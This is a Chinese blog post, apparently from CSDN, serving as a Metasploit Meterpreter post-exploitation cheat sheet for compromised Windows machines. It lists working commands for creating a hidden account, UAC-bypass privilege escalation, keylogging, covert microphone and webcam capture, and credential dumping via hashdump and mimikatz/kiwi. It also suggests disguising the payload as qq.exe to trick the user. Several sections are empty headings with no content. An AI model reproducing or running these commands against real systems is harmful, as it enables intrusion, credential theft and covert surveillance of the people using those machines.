msf后渗透(Meterpreter命令)

一.访问文件系统

1.文件交互指令

|

2.Linux权限理解

(如果显示文件权限不够,可执行这个命令)

chmod 777 {文件名.后缀}

chmod 777 shell.elf

二.上传下载文件

三.屏幕截图

四.键盘记录

CR是换行

五.创建账号(Windows)

1、先看下目标靶机已存在用户

meterpreter中输入:run post/windows/gather/enum_logged_on_users

2、使用getgui创建 一个用户名为 msb 密码为 123456 的账户

run getgui -u msb -p 123456

run getgui -u {用户名}-p {密码}

进入win的运行输入netplwiz 可以查看账户创建情况

[-] Insufficient privileges, account was not be created. 看到这个提示就需要先提权(获取到system) getsystem

2.1 绕过UAC提权

use exploit/windows/local/ask

session填刚才那个没有权限的session

filenname,path这两个也可以进行设置,比如名字改成qq.exe,就会qq在提权,更容易上

六.音频设备录制

record_mic 包含4个可选参数 分别为

-d 是设置录音时长的

-f 设置未见路径的

-h 查看帮助的

-p 控制自动播放的

一条简单的录音语句

record_mic -d 10 -p true

实际录制时间只有一半,只有5秒

七.提权

 提权方法(Windows)查看当前获得用户的权限

meterpreter 中输入: getuid

方法一、 meterpreter中输入:getsystem

方法二、使用msf模块提权

要想提权必须是已经拿到meterpreter

然后将当前meterpreter 后台 meterprerer中输入 background

1、 查看可用模块 MSF终端中输入 search bypassuac 查看提权模块

2、 选择一个适合当前系统的提权模块 我这边使用的是win10系统

那我们使用:use exploit/windows/local/bypassuac_windows_store_reg 尝试提权

这个模块不行就换一个 use exploit/windows/local/bypassuac_sluihijack

或者 use exploit/windows/local/bypassuac_dotnet_profiler

3 ,配置模块使用参数 终端内输入: show options

4, 可以看到需要配置 session 终端内输入:set session {需要提权的session id}

5, 执行提权 终端内输入:run

6 ,获取到meterpreter后 我们在终端内 输入getuid 看实际还没有提权成功 需要在还终端内在输入 getsystem 获取权限

7 ,获取权限完成后 输入getuid 即可看到 已经获取到SYSTEM 最高权限了

看到这个证明已经将权限提升成功

八.获取登录密码(Windows)

首先获得一个有SYSTEM权限的meterpreter

1 抓取自动登录账户密码

2 导出SAM数据库本地账户密码文件

3 导出密码哈希

4 使用kiwi模块获取

------------------------------------------------

方法一 :

很多人喜欢给在计算机设置自动登录 我们可以通过抓取自动登录的账户密码

run windows/gather/credentials/windows_autologin

如果提示这证明本机并没有配置自动登录

方法二:

还可以通过导出SAM数据库中的本地用户账号(注意需要提权到SYSTEM)

run post/windows/gather/smart_hashdump

方法三:

使用 hashdump 获取密码(注意需要提权到SYSTEM才能使用)

终端内输入 run hashdump

使用在线解析工具 md5在线解密破解,md5解密加密

NTLM哈希 例子:32ed87bdb5fdc5e9cba88547376818d4

方法四:

使用load kiwi(使用kiwi模块需要system权限)

kiwi_cmd 模块可以让我们使用mimikatz的全部功能, mimikatz 的命令直接在kiwi_cmd里直接使用

1 终端输入 load kiwi

2 creds_all 直接获取密码

3 使用 kiwi_cmd sekurlsa::logonpasswords 获取密码

九.远程监控(Windows)

1 使用rdesktop远程控制  rdesktop安装与使用_fofa的博客-CSDN博客

说明:rdesktop是linux下支持Windows远程桌面连接的客户端程序,在linux系统下可通过它远程访问Windows桌面,支持多种版本。rdesktop是sourceforge下支持GPL协议的一个开源项目,采用RDP(Remote Desktop Protocol,远程桌面协议),几乎可以连接windows的所有版本

rdesktop常用参数

rdesktop -u 用户名 -p 密码 -f IP

rdesktop -u mb -p 123456 -f -g 1024x720 192.168.110...

尽量不要 -f

如果远程计算机没有启动远程功能我们可以在meterpreter中输入

启动远程桌面协议:run post/windows/manage/enable_rdp

2 .通过vnc远程   kali安装vnc_fofa的博客-CSDN博客

十.调用摄像头

一台安卓设备,没有可以使用模拟器

1.实战

靶机获取到meterpreter后我们可以使用 webcam模块实现调用软,硬件摄像头

webcam模块支持命令

1. webcam_list

中文会显示空百

2 .webcam_snap 调用单个软,硬件摄像头拍照

3 .webcam_stream 调用单个软,硬件摄像头直播

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值